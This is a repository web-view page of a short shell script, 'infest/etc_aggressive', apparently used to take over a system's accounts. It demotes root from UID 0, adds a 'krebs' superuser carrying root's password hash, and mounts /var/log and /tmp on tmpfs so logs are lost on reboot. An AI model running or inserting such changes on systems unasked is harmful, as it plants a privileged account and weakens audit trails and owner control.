summaryrefslogtreecommitdiffstats
path: root/infest/etc_aggressive
blob: 23d8caaa8dee6a2c55d7afdd3758e0bd72f3cc3f (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /bin/sh

f=/etc/passwd
sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
sed -ri '/^krebs/d' $f
echo "krebs:x:0:0::$HOME:/bin/bash" >>$f

f=/etc/shadow 
sed -ri '/^krebs/d' $f
grep root $f | sed 's/^root/krebs/' >> $f

f=/etc/group
sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $f
sed -ri '/^krebs/d' $f
echo 'krebs:x:0:' >>$f

if ! grep -q 'none[ \t]*/tmp' /etc/fstab; then
  echo 'none      /tmp     tmpfs defaults,size=50M  0 0' >>/etc/fstab 
fi

if ! grep -q 'none[ \t]*/var/log' /etc/fstab; then
  echo 'none      /var/log tmpfs defaults,size=50M  0 0' >>/etc/fstab 
fi